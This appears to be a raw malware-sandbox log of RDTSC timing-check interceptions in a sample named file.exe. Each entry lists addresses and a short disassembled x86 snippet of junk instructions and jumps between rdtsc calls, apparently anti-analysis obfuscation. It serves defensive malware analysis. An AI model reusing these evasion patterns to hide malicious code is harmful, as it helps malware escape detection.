Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8573B second address: F85768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push edx 0x0000000b jmp 00007F6EC0DB081Bh 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F6EC0DB081Dh 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86170 second address: F86179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86179 second address: F86181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86181 second address: F86185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86185 second address: F86191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862E7 second address: F86315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0666h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F6EC0DB0662h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86315 second address: F86322 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86322 second address: F86328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86328 second address: F8632C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8632C second address: F86330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F867A9 second address: F867AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B9D4 second address: F8B9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6EC0DB0660h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9024B second address: F9024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9024F second address: F90263 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6EC0DB0656h 0x00000008 jbe 00007F6EC0DB0656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF76B9 second address: EF76E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F6EC0DB0816h 0x0000000c popad 0x0000000d pop ebx 0x0000000e jo 00007F6EC0DB0837h 0x00000014 pushad 0x00000015 jmp 00007F6EC0DB0821h 0x0000001a jnp 00007F6EC0DB0816h 0x00000020 popad 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B9DF second address: F4B9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BFA3 second address: F4BFA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BFA8 second address: F4BFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 jmp 00007F6EC0DB0661h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ebx 0x0000001b push edi 0x0000001c jc 00007F6EC0DB0656h 0x00000022 pop edi 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b je 00007F6EC0DB0656h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BFE5 second address: F4BFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BFE9 second address: F4BFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F6EC0DB0656h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BFF7 second address: F4C012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 call 00007F6EC0DB0819h 0x0000000d js 00007F6EC0DB0820h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C012 second address: F4C058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pop ebx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007F6EC0DB065Ch 0x0000001a pop esi 0x0000001b jnp 00007F6EC0DB0667h 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jbe 00007F6EC0DB0664h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C058 second address: F4C05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C05C second address: F4C070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F6EC0DB0658h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C0F6 second address: F4C100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C22C second address: F4C24B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007F6EC0DB065Eh 0x0000000e jp 00007F6EC0DB0658h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C24B second address: F4C250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CE02 second address: F4CE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CE0E second address: F2BA47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0820h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F6EC0DB0818h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2350h], edx 0x0000002b call dword ptr [ebp+122D31AEh] 0x00000031 push eax 0x00000032 push edx 0x00000033 push esi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F4F9 second address: F8F511 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6EC0DB0656h 0x00000008 jl 00007F6EC0DB0656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F6EC0DB0656h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F658 second address: F8F6B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Bh 0x00000007 jp 00007F6EC0DB0828h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F6EC0DB0829h 0x00000015 pushad 0x00000016 jmp 00007F6EC0DB0825h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F82E second address: F8F834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F834 second address: F8F844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 jc 00007F6EC0DB0816h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F97F second address: F8F9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0661h 0x00000009 jmp 00007F6EC0DB0661h 0x0000000e jmp 00007F6EC0DB0669h 0x00000013 popad 0x00000014 jl 00007F6EC0DB0665h 0x0000001a jmp 00007F6EC0DB065Dh 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FB51 second address: F8FB78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e jne 00007F6EC0DB0818h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FB78 second address: F8FB7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9266B second address: F92677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F6EC0DB0816h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92677 second address: F9267B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9267B second address: F926A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB081Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6EC0DB0822h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926A8 second address: F926AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926AC second address: F926BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F6EC0DB0816h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926BC second address: F926C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926C0 second address: F926EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F6EC0DB0824h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926EA second address: F926EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F923B8 second address: F923BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F923BC second address: F923C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93D17 second address: F93D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96689 second address: F9668D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C73E second address: F9C744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C744 second address: F9C74A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CA33 second address: F9CA3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CA3E second address: F9CA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C693 second address: F4C72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F6EC0DB0818h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F6EC0DB0818h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jmp 00007F6EC0DB0827h 0x00000030 xor dword ptr [ebp+1245B4E6h], esi 0x00000036 push 00000004h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F6EC0DB0818h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 or dword ptr [ebp+122D2F21h], ebx 0x00000058 nop 0x00000059 jbe 00007F6EC0DB0827h 0x0000005f pushad 0x00000060 jmp 00007F6EC0DB081Dh 0x00000065 pushad 0x00000066 popad 0x00000067 popad 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jg 00007F6EC0DB081Ch 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C72B second address: F4C745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB0666h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CE47 second address: F9CE71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push esi 0x0000000b jmp 00007F6EC0DB0826h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CE71 second address: F9CE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA03A4 second address: FA03CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6EC0DB0818h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jmp 00007F6EC0DB081Fh 0x00000018 jne 00007F6EC0DB0816h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA03CF second address: FA0401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6EC0DB0656h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F6EC0DB0665h 0x00000010 jmp 00007F6EC0DB065Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0742 second address: FA0776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6EC0DB0828h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0776 second address: FA077A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA077A second address: FA079D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0825h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F6EC0DB0822h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0ACD second address: FA0AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0AD5 second address: FA0ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0ADB second address: FA0AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4001 second address: FA4006 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4163 second address: FA4187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F6EC0DB065Dh 0x0000000b jmp 00007F6EC0DB065Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4187 second address: FA41AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6EC0DB0829h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA41AA second address: FA41C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6EC0DB0656h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F6EC0DB065Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA41C7 second address: FA41DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edx 0x00000008 ja 00007F6EC0DB0816h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA41DA second address: FA41E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA41E0 second address: FA41E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA41E4 second address: FA41EE instructions: 0x00000000 rdtsc 0x00000002 je 00007F6EC0DB0656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4321 second address: FA432B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA45CB second address: FA45CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA45CF second address: FA45D9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6EC0DB0816h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA45D9 second address: FA45DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4751 second address: FA4755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4755 second address: FA475B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA475B second address: FA477A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6EC0DB081Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F6EC0DB081Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD30F second address: FAD314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD314 second address: FAD33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6EC0DB0816h 0x0000000a jp 00007F6EC0DB0816h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F6EC0DB0826h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD33E second address: FAD369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6EC0DB0660h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F6EC0DB065Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD369 second address: FAD375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD375 second address: FAD381 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6EC0DB0656h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD381 second address: FAD3A2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6EC0DB0829h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB294 second address: FAB298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
